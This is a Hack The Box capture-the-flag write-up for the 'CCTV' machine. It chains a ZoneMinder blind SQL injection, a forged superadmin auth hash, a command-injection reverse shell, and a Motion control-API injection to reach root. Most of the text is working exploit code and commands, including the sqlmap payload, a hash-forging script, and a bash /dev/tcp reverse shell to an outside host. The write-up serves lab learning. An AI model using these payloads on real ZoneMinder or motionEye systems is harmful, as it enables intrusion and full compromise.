resux_

FILE 004 · Initial access

CCTV

ZoneMinder 1.37.63 gives up bcrypt hashes to a blind SQLi, and its auth secret was never changed, so I forge a superadmin session instead of cracking. Root is Motion's unauth config API running $(...) as a filename.

Platform
HTB
Surface
Linux
State
Open
CVEs
CVE-2024-51482 · CVE-2025-60787

Season: 10 · Difficulty: Easy (Linux)

CCTV is two surveillance products stacked on one host, and both of them leak the thing that protects them. ZoneMinder hands out its own config over the API, including the auth secret it ships with and tells you to change. Motion exposes a control API on loopback with no auth at all, and treats a config value as a shell-expanded filename. Neither step needs a cracked password.

Reconnaissance

Nmap Scan

# kali
nmap -p- --min-rate 5000 -sV 10.129.x.x
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open  http    Apache httpd 2.4.58

Port 80 redirects to cctv.htb, which goes in /etc/hosts.

Web Enumeration

The root page is an Apache default. Feroxbuster finds the actual application:

# kali
feroxbuster -u http://cctv.htb
  • /zm/ ZoneMinder surveillance interface
  • /zm/api/ CakePHP REST API, CakePHP 2.10.24
  • /zm/api/app/ directory listing

No version in the UI. admin:admin works on the login form, and once logged in the API will tell me:

# kali
curl -s -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/api/host/getVersion.json"
# => {"version":"1.37.63","apiversion":"2.0"}

1.37.63 is inside the CVE-2024-51482 range.

Initial Foothold: SQL injection to forged auth to RCE

admin can log in but only holds System: View, so every setting is greyed out. The user list shows where the power is:

# kali
curl -s -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/api/users.json"
UsernameSystem
superadminEdit
markView
adminView

System: Edit is what I need for RCE, so the target is superadmin. The same API also dumps every configuration value, which is more generous than it sounds:

# kali
curl -s -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/api/configs.json"
  • ZM_DB_USER = zmuser, ZM_DB_PASS = zmpass
  • ZM_AUTH_HASH_SECRET = ...Change me to something unique..., never changed
  • ZM_OPT_USE_LEGACY_API_AUTH = 1, legacy auth hashes are on
  • ZM_AUTH_HASH_IPS = 0, the client IP is not part of the hash

Those last three lines are the box. Hold them.

ZoneMinder 1.37.* up to 1.37.64 takes SQL injection in the tid parameter of the event tag removal endpoint (web/ajax/event.php), where tagId goes into the query unparameterised.

# kali
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie="ZMSESSID=<cookie>" --dbms=mysql --batch
Parameter: tid (GET)
    Type: time-based blind
    Payload: tid=1 AND (SELECT 8166 FROM (SELECT(SLEEP(5)))npbw)

Time-based blind is slow, and bcrypt hashes are full of $, so I pull them out HEX-encoded:

# kali
sqlmap -u '...' --cookie="..." --dbms=mysql -p tid --technique=T \
  --sql-query="SELECT HEX(Password) FROM zm.Users WHERE Username='superadmin'" --batch

About twenty minutes later:

Usernamebcrypt
superadmin$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

Cracking superadmin’s bcrypt would take a while and is not necessary. The legacy auth hash is:

md5(SECRET + Username + PasswordHash + hour + mday + month + year)

I have all of it. The secret came from the config dump, the username is superadmin, and PasswordHash is the stored bcrypt string, which is exactly what the SQLi just gave me. The IP is excluded because ZM_AUTH_HASH_IPS = 0. The only unknown is the server’s local time, and that is a small search space.

# kali
import hashlib, time, requests

SECRET = '...Change me to something unique...'
USERNAME = 'superadmin'
PASSHASH = '$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm'

for tz_offset in range(-12, 13):
    for hour_offset in [0, -1]:      # ZM accepts the current and previous hour
        now = time.time() + ((tz_offset + hour_offset) * 3600)
        t = time.localtime(now)
        # PHP localtime(): month is 0-indexed, year is years since 1900
        h, d, m, y = t.tm_hour, t.tm_mday, t.tm_mon - 1, t.tm_year - 1900
        auth = hashlib.md5(f"{SECRET}{USERNAME}{PASSHASH}{h}{d}{m}{y}".encode()).hexdigest()

        r = requests.get(f'http://cctv.htb/zm/index.php?view=console&auth={auth}',
                         allow_redirects=False)
        if r.status_code == 200 and 'login' not in r.text[:500]:
            print(f"[+] SUCCESS with UTC offset {tz_offset:+d}h: auth={auth}")
            break
[+] SUCCESS with UTC offset -2h: auth=b49c45a99a9360a119e95472ca136270

As superadmin I can create monitors, and the monitor Device field ends up in a shell command. The forged hash is short-lived, so the whole chain has to run inside one requests.Session():

# kali
s = requests.Session()
r = s.get(f'http://cctv.htb/zm/index.php?view=console&auth={auth}')
csrf = re.search(r'csrfMagicToken\s*=\s*"([^"]+)"', r.text).group(1)

r2 = s.post('http://cctv.htb/zm/index.php?view=monitor&mid=0&action=save', data={
    '__csrf_magic': csrf,
    'action': 'save',
    'Monitor[Name]': 'pwn',
    'Monitor[Function]': 'Monitor',
    'Monitor[Type]': 'Local',
    'Monitor[Device]': '/dev/video0;echo YmFzaCAtaSA+Ji...|base64 -d|bash',
    'Monitor[Method]': 'simple'
})

With nc -lvnp 1338 waiting, the shell lands as www-data.

Lateral Movement: www-data -> mark

mark’s bcrypt came out of the same SQLi, and unlike superadmin’s it falls to rockyou:

# kali
echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
# => opensesame

It is reused for SSH:

# kali
ssh mark@cctv.htb

The user flag is in /home/sa_mark/, not /home/mark/. sa_mark is the system account matching the ZoneMinder superadmin.

# target
cat /home/sa_mark/user.txt

Privilege Escalation: mark -> root

Several services are listening that never showed up externally:

# target
ss -tlnp
PortService
8765motionEye web interface
7999Motion HTTP control API
8554RTSP
9081Motion MJPEG
1935RTMP
3306MySQL

motionEye 0.43.1b4, running as a systemd unit as root, with admin credentials sitting in /etc/motioneye/:

# target
systemctl status motioneye
# => /usr/bin/python3 /usr/local/bin/meyectl startserver

cat /etc/motioneye/motioneye.conf
# => # @admin_username admin
# => # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

motionEye up to 0.43.1b4 is vulnerable to CVE-2025-60787, because dashboard input is written straight into Motion’s config files and Motion expands shell metacharacters in values like picture_filename.

The web dashboard is not even needed. Motion’s own control API on 7999 takes config changes with no authentication:

# target
curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%Y-%m-%d-%H-%M-%S"
# => Camera CAM 01 ... picture_filename ... value='%Y-%m-%d-%H-%M-%S'

So: drop a script, make it the filename, then force Motion to write a picture.

# target
echo '#!/bin/bash' > /tmp/rev.sh
echo 'bash -i >& /dev/tcp/10.10.15.3/1340 0>&1' >> /tmp/rev.sh
chmod +x /tmp/rev.sh

curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(/tmp/rev.sh)"
curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on"
curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on"

On the next frame Motion evaluates $(/tmp/rev.sh) while building the filename, and Motion is root.

# target
id
# => uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Flags

FlagHash
User<redacted>
Root<redacted>

Attack Path Summary

ZoneMinder 1.37.63 at /zm/, admin:admin on the login form
  → /zm/api/configs.json leaks ZM_AUTH_HASH_SECRET (never changed), legacy auth on, IP not hashed
    → CVE-2024-51482 time-based blind SQLi in tid → HEX-extract bcrypt hashes from zm.Users
      → md5(SECRET+user+bcrypt+hour+mday+month+year) → forge superadmin, no cracking needed
        → monitor Device field is shell-interpreted → reverse shell as www-data
          → mark's bcrypt cracks to opensesame → SSH → /home/sa_mark/user.txt
            → Motion control API on 127.0.0.1:7999, unauthenticated
              → CVE-2025-60787, picture_filename=$(/tmp/rev.sh) + emulate_motion → root.txt